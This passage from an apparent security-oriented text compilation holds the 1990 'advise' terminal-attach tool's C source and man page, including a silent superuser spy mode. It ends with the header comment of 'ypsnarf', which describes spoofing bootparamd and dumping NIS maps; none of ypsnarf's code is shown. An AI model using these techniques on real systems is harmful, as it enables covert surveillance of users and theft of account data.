printf("%s?\t-- This help message.\n", escstr);
|
||
printf("%s~\t-- Send a single meta character.\n",
|
||
escstr);
|
||
printf("%s.\t-- Disconnect advise session.\n",
|
||
escstr);
|
||
printf("%s=C\t-- Change meta character to C.\n",
|
||
escstr);
|
||
printf("%s^Z\t-- Suspend advise session.\n",
|
||
escstr);
|
||
pp++;
|
||
metad=0;
|
||
break;
|
||
}
|
||
|
||
case '.':
|
||
{
|
||
if (!secret)
|
||
{
|
||
char *str;
|
||
|
||
str = malloc(strlen(login_name) +
|
||
strlen(tty_name) +
|
||
sizeof("[/ disconnecting from :]\n") +
|
||
strlen(username) + strlen(devname));
|
||
|
||
if (str)
|
||
{
|
||
struct advise_message m;
|
||
struct strbuf ctl, data;
|
||
|
||
m.type = ADVISE_READDATA;
|
||
|
||
ctl.len = sizeof(m);
|
||
ctl.buf = (void *)&m;
|
||
|
||
sprintf(str, "[%s/%s disconnecting from %s:%s]\n\r",
|
||
login_name, tty_name, username,
|
||
devname);
|
||
|
||
data.len = strlen(str);
|
||
data.buf = str;
|
||
|
||
(void) putmsg(fd, &ctl, &data, 0);
|
||
|
||
free(str);
|
||
}
|
||
}
|
||
|
||
close(fd);
|
||
|
||
(void) ioctl(0, TCSETS, &oldtermios);
|
||
|
||
exit(0);
|
||
}
|
||
|
||
case CTRL('Z'):
|
||
{
|
||
(void) ioctl(0, TCSETS, &oldtermios);
|
||
(void) signal(SIGTSTP, SIG_DFL);
|
||
(void) kill(0, SIGTSTP);
|
||
(void) ioctl(0, TCSETS, &termios);
|
||
metad=0;
|
||
break;
|
||
}
|
||
|
||
default:
|
||
metad=0;
|
||
break;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
if (*p == meta_character)
|
||
{
|
||
int d = p - pp;
|
||
|
||
metad=1;
|
||
|
||
if (d)
|
||
write(fd, pp, d);
|
||
|
||
pp += d + 1;
|
||
i += d;
|
||
}
|
||
}
|
||
}
|
||
|
||
if (p - pp)
|
||
{
|
||
struct advise_message m;
|
||
struct strbuf ctl, data;
|
||
|
||
m.type = ADVISE_DATA;
|
||
|
||
ctl.len = sizeof(m);
|
||
ctl.buf = (void *)&m;
|
||
|
||
data.len = p - pp;
|
||
data.buf = p;
|
||
|
||
(void) putmsg(fd, &ctl, &data, 0);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
static struct module_list *
|
||
list_modules(int fd, char *push_below)
|
||
{
|
||
char lookbuf[max(FMNAMESZ+1,256)];
|
||
struct module_list *mp, *mpp;
|
||
|
||
mp = NULL;
|
||
|
||
while (ioctl(fd, I_LOOK, lookbuf) == 0)
|
||
{
|
||
if (ioctl(fd, I_POP, 0))
|
||
{
|
||
(void) fprintf(stderr, "%s: Couldn't I_POP: %s (%s).\n", progname,
|
||
lookbuf, strerror(errno));
|
||
return mp;
|
||
}
|
||
|
||
if ((mpp = malloc(sizeof(struct module_list))) == NULL ||
|
||
(mpp->name = malloc(strlen(lookbuf) + 1)) == NULL)
|
||
{
|
||
(void) fprintf(stderr, "%s: Couldn't malloc (out of memory).\n",
|
||
progname);
|
||
return mp;
|
||
}
|
||
|
||
mpp->next = mp;
|
||
mp = mpp;
|
||
|
||
strcpy(mp->name, lookbuf);
|
||
|
||
if (!strcmp(push_below, lookbuf))
|
||
break;
|
||
}
|
||
|
||
return mp;
|
||
}
|
||
|
||
static char *
|
||
strchar(char character)
|
||
{
|
||
static char retbuf[4];
|
||
char *p = retbuf;
|
||
int capit = 0;
|
||
|
||
if (!isascii(character))
|
||
{
|
||
*p++ = '~';
|
||
capit = 1;
|
||
character = toascii(character);
|
||
}
|
||
|
||
if (iscntrl(character))
|
||
{
|
||
*p++ = '^';
|
||
capit = 1;
|
||
character += '@';
|
||
}
|
||
|
||
if (capit)
|
||
*p++ = toupper(character);
|
||
else
|
||
*p++ = character;
|
||
|
||
*p = '\0';
|
||
|
||
return retbuf;
|
||
}
|
||
SHAR_EOF
|
||
fi # end of overwriting check
|
||
if test -f 'advise.man'
|
||
then
|
||
echo shar: will not over-write existing file "'advise.man'"
|
||
else
|
||
cat << \SHAR_EOF > 'advise.man'
|
||
.TH advise 1
|
||
.SH NAME
|
||
advise \- Attach to another user.
|
||
.SH SYNOPSIS
|
||
.B advise
|
||
[-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]
|
||
.SH DESCRIPTION
|
||
.B Advise
|
||
attaches a user (the advisor) to another user's (the advisee) terminal in
|
||
such a way the the advisor can type for the advisee and view what
|
||
the advisee's terminal is displaying.
|
||
.PP
|
||
The advisee would typically type ``advise -a'' to allow advise attaches;
|
||
the advisor would then type ``advise username'' which would connect the
|
||
advisors terminal the the advisee's.
|
||
.PP
|
||
All characters the advisor types are sent to the advisee's terminal
|
||
as if the advisee typed them save the meta character.
|
||
.PP
|
||
The default meta character is tilde (~). The advisor uses the meta
|
||
character to disconnect or suspend the advise session. The meta
|
||
commands that are available to the advisor are:
|
||
.PP
|
||
.RS
|
||
.TP
|
||
~?
|
||
Meta character help message.
|
||
.TP
|
||
~~
|
||
Send the meta character to the advisee's terminal.
|
||
.TP
|
||
~.
|
||
Disconnect advise session.
|
||
.TP
|
||
~=C
|
||
Change the meta character to C.
|
||
.TP
|
||
~^Z
|
||
Suspend this advise session.
|
||
.RE
|
||
.PP
|
||
In Advise mode the advisor uses ``~.'' to disconnect the advise session
|
||
(Note: the advisor should use ``~~'' to send one tilde to the advisee's
|
||
terminal).
|
||
.PP
|
||
In ``spy mode'' the advisor should use an interrupt is use to disconnect
|
||
the advise session.
|
||
.PP
|
||
``advise -d'' can be used by the advisee to disconnect the advise
|
||
session.
|
||
.SH OPTIONS
|
||
.TP
|
||
-A
|
||
Allow advise attaches to this terminal.
|
||
.TP
|
||
-D
|
||
Disallow advise attaches to this terminal.
|
||
.TP
|
||
-M module
|
||
Name of module to place advise module under.
|
||
.TP
|
||
-S
|
||
When attaching to another user, don't send the attach message.
|
||
(available to the super user, only).
|
||
.TP
|
||
-a
|
||
Push advise module on standard input stream and allow advise
|
||
attaches.
|
||
.TP
|
||
-d
|
||
Push advise module on standard input stream and disallow advise
|
||
attaches.
|
||
.TP
|
||
-m char
|
||
Change the meta character to ``char''. The default meta character
|
||
is tilde (~).
|
||
.TP
|
||
-s
|
||
Spy mode only (ie, input from the advisor is not passed to the
|
||
advisee).
|
||
.TP
|
||
device
|
||
The name of the tty device to advise.
|
||
.TP
|
||
username
|
||
The name of the user to advise.
|
||
.SH AUTHOR
|
||
.RS
|
||
.PP
|
||
Keith M. Gabryelski (ag@amix.commodore.com)
|
||
.RE
|
||
SHAR_EOF
|
||
fi # end of overwriting check
|
||
if test -f 'advisedev.c'
|
||
then
|
||
echo shar: will not over-write existing file "'advisedev.c'"
|
||
else
|
||
cat << \SHAR_EOF > 'advisedev.c'
|
||
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
|
||
|
||
This file is part of advise.
|
||
|
||
advise is distributed in the hope that it will be useful,
|
||
but WITHOUT ANY WARRANTY. No author or distributor
|
||
accepts responsibility to anyone for the consequences of using it
|
||
or for whether it serves any particular purpose or works at all,
|
||
unless he says so in writing. Refer to the advise General Public
|
||
License for full details.
|
||
|
||
Everyone is granted permission to copy, modify and redistribute
|
||
advise, but only under the conditions described in the
|
||
advise General Public License. A copy of this license is
|
||
supposed to have been given to you along with advise so you
|
||
can know your rights and responsibilities. It should be in a
|
||
file named COPYING. Among other things, the copyright notice
|
||
and this notice must be preserved on all copies. */
|
||
|
||
/*
|
||
** Author:Keith Gabryelski(ag@amix.commodore.com)
|
||
*/
|
||
|
||
#include <sys/types.h>
|
||
#include <sys/param.h>
|
||
#include <sys/sysmacros.h>
|
||
#include <sys/signal.h>
|
||
#include <sys/file.h>
|
||
#include <sys/user.h>
|
||
#include <sys/proc.h>
|
||
#include <sys/termios.h>
|
||
#include <sys/ttold.h>
|
||
#include <sys/cmn_err.h>
|
||
#include <sys/stream.h>
|
||
#include <sys/stropts.h>
|
||
#include <sys/errno.h>
|
||
#include <sys/debug.h>
|
||
#include "advisemod.h"
|
||
#include <sys/inline.h>
|
||
|
||
int adviseopen(), adviseclose(), adviserput(), advisewput();
|
||
void advisesrvioc();
|
||
|
||
static struct module_info advisemiinfo =
|
||
{
|
||
0, "advise", 0, INFPSZ, 2048, 128,
|
||
};
|
||
|
||
static struct qinit adviserinit =
|
||
{
|
||
adviserput, NULL, adviseopen, adviseclose, NULL, &advisemiinfo,
|
||
};
|
||
|
||
static struct module_info advisemoinfo =
|
||
{
|
||
42, "advise", 0, INFPSZ, 300, 200,
|
||
};
|
||
|
||
static struct qinit advisewinit =
|
||
{
|
||
advisewput, NULL, adviseopen, adviseclose, NULL, &advisemoinfo,
|
||
};
|
||
|
||
struct streamtab adviseinfo =
|
||
{
|
||
&adviserinit, &advisewinit, NULL, NULL,
|
||
};
|
||
|
||
extern struct advise_state advise_table;
|
||
|
||
|
||
/*ARGSUSED*/
|
||
static int
|
||
adviseopen(q, devp, flag, sflag, credp)
|
||
register queue_t *q;
|
||
dev_t *devp;
|
||
int flag, sflag;
|
||
cred_t *credp;
|
||
{
|
||
register mblk_t *bp;
|
||
struct advise_queue_list *ql;
|
||
struct advise_state *sp;
|
||
int i;
|
||
|
||
if (sflag == MODOPEN)
|
||
return EINVAL;
|
||
|
||
for (i=1; i < L_MAXMIN; ++i)
|
||
{
|
||
sp = &advise_table;
|
||
|
||
while (sp->next != NULL)
|
||
{
|
||
ql = sp->next->q_list;
|
||
|
||
while (ql != NULL)
|
||
{
|
||
if (ql->minord == i)
|
||
break;
|
||
|
||
ql = ql->next;
|
||
}
|
||
|
||
if (ql != NULL)
|
||
break;
|
||
|
||
sp = sp->next;
|
||
}
|
||
|
||
if (sp->next == NULL)
|
||
break;
|
||
}
|
||
|
||
if (i == L_MAXMIN)
|
||
{
|
||
return ENOMEM;/* no more resources */
|
||
}
|
||
|
||
*devp = makedevice(getmajor(*devp), i);
|
||
|
||
if ((bp = allocb((int)sizeof(struct advise_queue_list), BPRI_MED)) == NULL)
|
||
{
|
||
return ENOMEM;
|
||
}
|
||
|
||
bp->b_wptr += sizeof(struct advise_queue_list);
|
||
ql = (struct advise_queue_list *)bp->b_rptr;
|
||
ql->savbp = bp;
|
||
ql->next = NULL;
|
||
ql->q = q;
|
||
ql->state = NULL;
|
||
ql->minord = i;
|
||
|
||
q->q_ptr = (caddr_t)ql;
|
||
WR(q)->q_ptr = (caddr_t)ql;
|
||
|
||
return 0;
|
||
}
|
||
|
||
|
||
static
|
||
adviseclose(q)
|
||
register queue_t *q;
|
||
{
|
||
struct advise_state *llist = &advise_table;
|
||
struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr;
|
||
struct advise_queue_list *ql, *qlp;
|
||
|
||
/* Remove us from the advisor's list */
|
||
|
||
if (qp->state != NULL)
|
||
{
|
||
while (llist != NULL && llist->next != qp->state)
|
||
llist = llist->next;
|
||
|
||
if (llist != NULL)
|
||
{
|
||
ql = llist->next->q_list;
|
||
|
||
if (ql->q == q)
|
||
{
|
||
llist->next->q_list = ql->next;
|
||
}
|
||
else
|
||
{
|
||
while (ql->next != NULL && ql->next->q != q)
|
||
ql = ql->next;
|
||
|
||
if (ql->next != NULL)
|
||
{
|
||
ql->next = ql->next->next;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
qp->state = NULL;
|
||
freeb(qp->savbp);
|
||
|
||
q->q_ptr = NULL;
|
||
}
|
||
|
||
|
||
static int
|
||
adviserput(q, bp)
|
||
struct queue *q;
|
||
mblk_t *bp;
|
||
{
|
||
putnext(q, bp);
|
||
}
|
||
|
||
|
||
static int
|
||
advisewput(q, bp)
|
||
struct queue *q;
|
||
mblk_t *bp;
|
||
{
|
||
struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr;
|
||
struct advise_state *sp = qp->state;
|
||
|
||
switch (bp->b_datap->db_type)
|
||
{
|
||
case M_PROTO:
|
||
{
|
||
struct advise_message *ms = (struct advise_message *)bp->b_rptr;
|
||
mblk_t *bp2 = unlinkb(bp);
|
||
|
||
if (bp2)
|
||
{
|
||
if (sp != NULL && sp->q != NULL)
|
||
{
|
||
if (ms->type == ADVISE_READDATA)
|
||
{
|
||
putnext(WR(sp->q), bp2);
|
||
}
|
||
else
|
||
{
|
||
putnext(sp->q, bp2);
|
||
}
|
||
}
|
||
else
|
||
freemsg(bp2);
|
||
}
|
||
|
||
freemsg(bp);
|
||
|
||
break;
|
||
}
|
||
|
||
case M_DATA:
|
||
/*
|
||
** Write data to advisee.
|
||
*/
|
||
if (sp != NULL && sp->q != NULL)
|
||
putnext(sp->q, bp);
|
||
else
|
||
freemsg(bp);
|
||
break;
|
||
|
||
case M_IOCTL:
|
||
case M_IOCDATA:
|
||
advisesrvioc(q, bp);
|
||
break;
|
||
|
||
default:
|
||
freemsg(bp);
|
||
break;
|
||
}
|
||
}
|
||
|
||
|
||
static void
|
||
advisesrvioc(q, mp)
|
||
queue_t *q;
|
||
mblk_t *mp;
|
||
{
|
||
mblk_t *mp1;
|
||
struct iocblk *iocbp = (struct iocblk *)mp->b_rptr;
|
||
struct advise_queue_list *qp=(struct advise_queue_list *)q->q_ptr;
|
||
int s;
|
||
|
||
if (mp->b_datap->db_type == M_IOCDATA)
|
||
{
|
||
/* For copyin/copyout failures, just free message. */
|
||
if (((struct copyresp *)mp->b_rptr)->cp_rval)
|
||
{
|
||
freemsg(mp);
|
||
return;
|
||
}
|
||
|
||
if (!((struct copyresp *)mp->b_rptr)->cp_private)
|
||
{
|
||
mp->b_datap->db_type = M_IOCACK;
|
||
freemsg(unlinkb(mp));
|
||
iocbp->ioc_count = 0;
|
||
iocbp->ioc_rval = 0;
|
||
iocbp->ioc_error = 0;
|
||
putnext(RD(q), mp);
|
||
return;
|
||
}
|
||
}
|
||
|
||
switch (iocbp->ioc_cmd)
|
||
{
|
||
case ADVISE_SETADVISEE:
|
||
{
|
||
register dev_t p;
|
||
struct advise_queue_list *qlp;
|
||
struct advise_state *llist;
|
||
|
||
if (qp->state != NULL) /* already advising someone */
|
||
{
|
||
iocbp->ioc_error = EBUSY;
|
||
mp->b_datap->db_type = M_IOCNAK;
|
||
iocbp->ioc_count = 0;
|
||
putnext(RD(q), mp);
|
||
break;
|
||
}
|
||
|
||
if (!mp->b_cont)
|
||
{
|
||
iocbp->ioc_error = EINVAL;
|
||
mp->b_datap->db_type = M_IOCNAK;
|
||
iocbp->ioc_count = 0;
|
||
putnext(RD(q), mp);
|
||
break;
|
||
}
|
||
|
||
p = *(dev_t *)mp->b_cont->b_rptr;
|
||
|
||
s = spladvise();
|
||
|
||
llist = advise_table.next;
|
||
|
||
while (llist != NULL && llist->dev != p)
|
||
{
|
||
llist = llist->next;
|
||
}
|
||
|
||
if (llist == NULL)
|
||
{
|
||
splx(s);
|
||
iocbp->ioc_error = EUNATCH;
|
||
mp->b_datap->db_type = M_IOCNAK;
|
||
iocbp->ioc_count = 0;
|
||
putnext(RD(q), mp);
|
||
break;
|
||
}
|
||
|
||
if ((llist->status & ALLOW_ADVICE) == 0 && (!suser(u.u_cred)))
|
||
{
|
||
splx(s);
|
||
iocbp->ioc_error = EACCES;
|
||
mp->b_datap->db_type = M_IOCNAK;
|
||
iocbp->ioc_count = 0;
|
||
putnext(RD(q), mp);
|
||
break;
|
||
}
|
||
|
||
/*
|
||
** Add ourself to the list of advisors for this advisee.
|
||
*/
|
||
|
||
if (llist->q_list == NULL)
|
||
{
|
||
qlp = llist->q_list = qp;
|
||
}
|
||
else
|
||
{
|
||
qlp = llist->q_list;
|
||
|
||
while (qlp->next != NULL)
|
||
qlp = qlp->next;
|
||
|
||
qlp->next = qp;
|
||
qlp = qp;
|
||
}
|
||
|
||
qlp->state = llist;
|
||
|
||
splx(s);
|
||
|
||
mp->b_datap->db_type = M_IOCACK;
|
||
mp1 = unlinkb(mp);
|
||
if (mp1)
|
||
freeb(mp1);
|
||
iocbp->ioc_count = 0;
|
||
putnext(RD(q), mp);
|
||
break;
|
||
}
|
||
|
||
default:
|
||
/* Unrecognized ioctl command */
|
||
if (canput(RD(q)->q_next))
|
||
{
|
||
mp->b_datap->db_type = M_IOCNAK;
|
||
putnext(RD(q), mp);
|
||
}
|
||
else
|
||
putbq(q, mp);
|
||
break;
|
||
}
|
||
}
|
||
SHAR_EOF
|
||
fi # end of overwriting check
|
||
if test -f 'advisemod.c'
|
||
then
|
||
echo shar: will not over-write existing file "'advisemod.c'"
|
||
else
|
||
cat << \SHAR_EOF > 'advisemod.c'
|
||
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
|
||
|
||
This file is part of advise.
|
||
|
||
advise is distributed in the hope that it will be useful,
|
||
but WITHOUT ANY WARRANTY. No author or distributor
|
||
accepts responsibility to anyone for the consequences of using it
|
||
or for whether it serves any particular purpose or works at all,
|
||
unless he says so in writing. Refer to the advise General Public
|
||
License for full details.
|
||
|
||
Everyone is granted permission to copy, modify and redistribute
|
||
advise, but only under the conditions described in the
|
||
advise General Public License. A copy of this license is
|
||
supposed to have been given to you along with advise so you
|
||
can know your rights and responsibilities. It should be in a
|
||
file named COPYING. Among other things, the copyright notice
|
||
and this notice must be preserved on all copies. */
|
||
|
||
/*
|
||
** Author:Keith Gabryelski(ag@amix.commodore.com)
|
||
*/
|
||
|
||
#include <sys/types.h>
|
||
#include <sys/param.h>
|
||
#include <sys/signal.h>
|
||
#include <sys/file.h>
|
||
#include <sys/user.h>
|
||
#include <sys/proc.h>
|
||
#include <sys/termios.h>
|
||
#include <sys/ttold.h>
|
||
#include <sys/cmn_err.h>
|
||
#include <sys/stream.h>
|
||
#include <sys/stropts.h>
|
||
#include <sys/errno.h>
|
||
#include <sys/debug.h>
|
||
#include "advisemod.h"
|
||
#include <sys/inline.h>
|
||
|
||
int advisemopen(), advisemclose(), advisemrput(), advisemwput();
|
||
|
||
static struct module_info advisemiinfo =
|
||
{
|
||
0, "advisemod", 0, INFPSZ, 2048, 128,
|
||
};
|
||
|
||
static struct qinit adviserinit =
|
||
{
|
||
advisemrput, NULL, advisemopen, advisemclose, NULL, &advisemiinfo,
|
||
};
|
||
|
||
static struct module_info advisemoinfo =
|
||
{
|
||
42, "advisemod", 0, INFPSZ, 300, 200,
|
||
};
|
||
|
||
static struct qinit advisewinit =
|
||
{
|
||
advisemwput, NULL, advisemopen, advisemclose, NULL, &advisemoinfo,
|
||
};
|
||
|
||
struct streamtab advisemodinfo =
|
||
{
|
||
&adviserinit, &advisewinit, NULL, NULL,
|
||
};
|
||
|
||
struct advise_state advise_table;
|
||
|
||
|
||
/*ARGSUSED*/
|
||
static int
|
||
advisemopen(q, devp, flag, sflag, credp)
|
||
register queue_t *q;
|
||
dev_t *devp;
|
||
int flag, sflag;
|
||
cred_t *credp;
|
||
{
|
||
register struct advise_state *sp;
|
||
register mblk_t *bp;
|
||
struct advise_state *llist = &advise_table;
|
||
|
||
if (sflag != MODOPEN)
|
||
return EINVAL;
|
||
|
||
if ((bp = allocb((int)sizeof(struct advise_state), BPRI_MED)) == NULL)
|
||
{
|
||
return ENOMEM;
|
||
}
|
||
|
||
bp->b_wptr += sizeof(struct advise_state);
|
||
sp = (struct advise_state *)bp->b_rptr;
|
||
sp->savbp = bp;
|
||
|
||
sp->dev = *devp;
|
||
sp->status = 0;/* Deny access by default */
|
||
sp->next = NULL;
|
||
sp->q_list = NULL;
|
||
sp->q = q;
|
||
|
||
while (llist->next != NULL)
|
||
{
|
||
if (llist->next->dev == *devp)
|
||
{
|
||
/*
|
||
** We are already pushed on this stream.
|
||
*/
|
||
freeb(bp);
|
||
|
||
sp = llist->next;
|
||
|
||
break;
|
||
}
|
||
|
||
llist = llist->next;
|
||
}
|
||
|
||
llist->next = sp;
|
||
|
||
q->q_ptr = (caddr_t)sp;
|
||
WR(q)->q_ptr = (caddr_t)sp;
|
||
|
||
return 0;
|
||
}
|
||
|
||
|
||
static
|
||
advisemclose(q)
|
||
register queue_t *q;
|
||
{
|
||
register struct advise_state *sp = (struct advise_state *)q->q_ptr;
|
||
struct advise_state *llist = &advise_table;
|
||
struct advise_queue_list *qp = sp->q_list;
|
||
|
||
sp->status = 0;
|
||
|
||
/* unlink us from the state table */
|
||
|
||
while (llist->next != sp)
|
||
llist = llist->next;
|
||
|
||
llist->next = llist->next->next;
|
||
|
||
while (sp->next != NULL)
|
||
{
|
||
/* tell each advisor that we're shutting down */
|
||
|
||
flushq(sp->q, FLUSHDATA);
|
||
putctl(sp->q->q_next, M_HANGUP);
|
||
|
||
sp = sp->next;
|
||
}
|
||
|
||
freeb(sp->savbp);
|
||
|
||
q->q_ptr = NULL;
|
||
}
|
||
|
||
|
||
static
|
||
advisemrput(q, mp)
|
||
register queue_t *q;
|
||
register mblk_t *mp;
|
||
{
|
||
putnext(q, mp);
|
||
}
|
||
|
||
|
||
static
|
||
advisemwput(q, mp)
|
||
register queue_t *q;
|
||
register mblk_t *mp;
|
||
{
|
||
struct advise_state *sp = (struct advise_state *)q->q_ptr;
|
||
register struct advise_queue_list *qp;
|
||
int s;
|
||
|
||
switch (mp->b_datap->db_type)
|
||
{
|
||
case M_DATA:
|
||
/*
|
||
** Write data to advisors.
|
||
*/
|
||
s = spladvise();
|
||
for (qp = sp->q_list; qp != NULL; qp = qp->next)
|
||
{
|
||
mblk_t *mp1 = copymsg(mp);
|
||
|
||
if (mp1 != NULL)
|
||
putnext(qp->q, mp1);
|
||
}
|
||
|
||
splx(s);
|
||
break;
|
||
|
||
case M_IOCTL:
|
||
case M_IOCDATA:
|
||
if (advisemsrvioc(q, mp)) /* handled? */
|
||
return;
|
||
break;
|
||
}
|
||
|
||
putnext(q, mp);
|
||
}
|
||
|
||
|
||
static int
|
||
advisemsrvioc(q, mp)
|
||
queue_t *q;
|
||
mblk_t *mp;
|
||
{
|
||
mblk_t *mp1;
|
||
struct iocblk *iocbp = (struct iocblk *)mp->b_rptr;
|
||
struct advise_state *sp = (struct advise_state *)q->q_ptr;
|
||
|
||
if (mp->b_datap->db_type == M_IOCDATA)
|
||
{
|
||
struct copyresp *csp = (struct copyresp *)mp->b_rptr;
|
||
|
||
switch(csp->cp_cmd)
|
||
{
|
||
case ADVISE_STATUS:
|
||
case ADVISE_ALLOW:
|
||
case ADVISE_DENY:
|
||
/* For copyin/copyout failures, just free message. */
|
||
|
||
if (csp->cp_rval)
|
||
freemsg(mp);
|
||
else if (!csp->cp_private)
|
||
{
|
||
mp->b_datap->db_type = M_IOCACK;
|
||
freemsg(unlinkb(mp));
|
||
iocbp->ioc_count = 0;
|
||
iocbp->ioc_rval = 0;
|
||
iocbp->ioc_error = 0;
|
||
putnext(RD(q), mp);
|
||
}
|
||
|
||
return 1;
|
||
}
|
||
}
|
||
|
||
switch (iocbp->ioc_cmd)
|
||
{
|
||
case ADVISE_STATUS:
|
||
{
|
||
int *status;
|
||
caddr_t arg = *(caddr_t *)mp->b_cont->b_rptr;
|
||
|
||
freemsg(mp->b_cont);
|
||
|
||
mp->b_cont = allocb(sizeof(int), BPRI_MED);
|
||
if (!mp->b_cont)
|
||
{
|
||
mp->b_datap->db_type = M_IOCNAK;
|
||
freemsg(unlinkb(mp));
|
||
iocbp->ioc_count = 0;
|
||
iocbp->ioc_rval = 0;
|
||
iocbp->ioc_error = ENOMEM;
|
||
putnext(RD(q), mp);
|
||
return 1;
|
||
}
|
||
|
||
status = (int *)mp->b_cont->b_rptr;
|
||
mp->b_cont->b_wptr += sizeof(int);
|
||
|
||
*status = sp->status;
|
||
|
||
if (mp->b_datap->db_type == M_IOCTL &&
|
||
iocbp->ioc_count == TRANSPARENT)
|
||
{
|
||
struct copyreq *creq = (struct copyreq *)mp->b_rptr;
|
||
mp->b_datap->db_type = M_COPYOUT;
|
||
creq->cq_addr = arg;
|
||
mp->b_wptr = mp->b_rptr + sizeof *creq;
|
||
mp->b_cont->b_wptr = mp->b_cont->b_rptr + sizeof(int);
|
||
creq->cq_size = sizeof(int);
|
||
creq->cq_flag = 0;
|
||
creq->cq_private = (mblk_t *)NULL;
|
||
putnext(RD(q), mp);
|
||
return 1;
|
||
}
|
||
}
|
||
break;
|
||
|
||
case ADVISE_ALLOW:
|
||
sp->status |= ALLOW_ADVICE;
|
||
|
||
mp->b_datap->db_type = M_IOCACK;
|
||
mp1 = unlinkb(mp);
|
||
if (mp1)
|
||
freeb(mp1);
|
||
iocbp->ioc_count = 0;
|
||
putnext(RD(q), mp);
|
||
break;
|
||
|
||
case ADVISE_DENY:
|
||
sp->status &= ~(ALLOW_ADVICE);
|
||
|
||
mp->b_datap->db_type = M_IOCACK;
|
||
mp1 = unlinkb(mp);
|
||
if (mp1)
|
||
freeb(mp1);
|
||
iocbp->ioc_count = 0;
|
||
putnext(RD(q), mp);
|
||
break;
|
||
|
||
default:
|
||
return 0;
|
||
}
|
||
|
||
return 1;
|
||
}
|
||
SHAR_EOF
|
||
fi # end of overwriting check
|
||
if test -f 'advisemod.h'
|
||
then
|
||
echo shar: will not over-write existing file "'advisemod.h'"
|
||
else
|
||
cat << \SHAR_EOF > 'advisemod.h'
|
||
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
|
||
|
||
This file is part of advise.
|
||
|
||
advise is distributed in the hope that it will be useful,
|
||
but WITHOUT ANY WARRANTY. No author or distributor
|
||
accepts responsibility to anyone for the consequences of using it
|
||
or for whether it serves any particular purpose or works at all,
|
||
unless he says so in writing. Refer to the advise General Public
|
||
License for full details.
|
||
|
||
Everyone is granted permission to copy, modify and redistribute
|
||
advise, but only under the conditions described in the
|
||
advise General Public License. A copy of this license is
|
||
supposed to have been given to you along with advise so you
|
||
can know your rights and responsibilities. It should be in a
|
||
file named COPYING. Among other things, the copyright notice
|
||
and this notice must be preserved on all copies. */
|
||
|
||
/*
|
||
** Author:Keith Gabryelski(ag@amix.commodore.com)
|
||
*/
|
||
|
||
struct advise_queue_list
|
||
{
|
||
mblk_t*savbp;/* ptr to this mblk for freeb()ing */
|
||
queue_t*q;/* advisor's queue */
|
||
intminord; /* minor device for this advisor */
|
||
struct advise_state*state; /* ptr back to advise_state struct */
|
||
struct advise_queue_list*next; /* ptr to next advisor */
|
||
};
|
||
|
||
struct advise_state
|
||
{
|
||
mblk_t*savbp;/* ptr to this mblk for freeb()ing */
|
||
intstatus;/* current status */
|
||
dev_tdev;/* our device */
|
||
queue_t*q;/* queue for advisor writing */
|
||
struct advise_queue_list*q_list;/* list of spies */
|
||
struct advise_state*next; /* next in advise_table */
|
||
};
|
||
|
||
#define ALLOW_ADVICE(0x01)
|
||
|
||
struct advise_message
|
||
{
|
||
inttype; /* What type of data is this? */
|
||
};
|
||
|
||
#define ADVISE_DATA(0x00)
|
||
#define ADVISE_READDATA(0x01)
|
||
|
||
#define ADVISE('z'<<16)
|
||
#define ADVISE_SETADVISEE(ADVISE|0x01)
|
||
#defineADVISE_ALLOW(ADVISE|0x02)
|
||
#defineADVISE_DENY(ADVISE|0x03)
|
||
#define ADVISE_STATUS(ADVISE|0x04)
|
||
|
||
#define spladvisespltty
|
||
SHAR_EOF
|
||
fi # end of overwriting check
|
||
#End of shell archive
|
||
exit 0
|
||
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
It is useless to resist us.
|
||
/*
|
||
* THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
|
||
* THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
|
||
* IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT
|
||
* REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
|
||
*
|
||
* ypsnarf - exercise security holes in yp/nis.
|
||
*
|
||
* Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
|
||
* (casper@fwi.uva.nl).
|
||
*
|
||
* Usage:
|
||
* ypsnarf server client
|
||
* - to obtain the yp domain name
|
||
* ypsnarf server domain mapname
|
||
* - to obtain a copy of a yp map
|
||
* ypsnarf server domain maplist
|
||
* - to obtain a list of yp maps
|
||
*
|
||
* In the first case, we lie and pretend to be the host "client", and send
|
||
* a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this
|
||
* to work, "server" must be running rpc.bootparamd, and "client" must be a
|
||
* diskless client of (well, it must boot from) "server".
|
||
*
|
||
* In the second case, we send a YPPROC_DOMAIN request to the host "server",
|
||
* asking if it serves domain "domain". If so, we send YPPROC_FIRST and
|
||
* YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
|
||
* "mapname". Note that you must specify the full yp map name, you cannot
|
||
* use the shorthand names provided by "ypcat".
|
||
*
|
||
* In the third case, the special map name "maplist" tells ypsnarf to send
|
||
* a YPPROC_MAPLIST request to the server and get the list of maps in domain
|
||
* "domain", instead of getting the contents of a map. If the server has a
|
||
* map called "maplist" you can't get it. Oh well.
|
||
*
|
||
* Since the callrpc() routine does not make any provision for timeouts, we
|
||
* artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
|
||
* initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
|
||
*
|
||
* This program uses UDP packets, which means there's a chance that things
|
||
* will get dropped on the floor; it's not a reliable stream like TCP. In
|
||
* practice though, this doesn't seem to be a problem.
|
||
*
|
||
* To compile:
|
||
* cc -o ypsnarf ypsnarf.c -lrpcsvc
|
||
*
|
||
* David A. Curry
|
||
* Purdue University
|
||
* Engineering Computer Network
|
||
* Electrical Engineering Building
|
||
* West Lafayette, IN 47907
|
||
* davy@ecn.purdue.edu
|
||
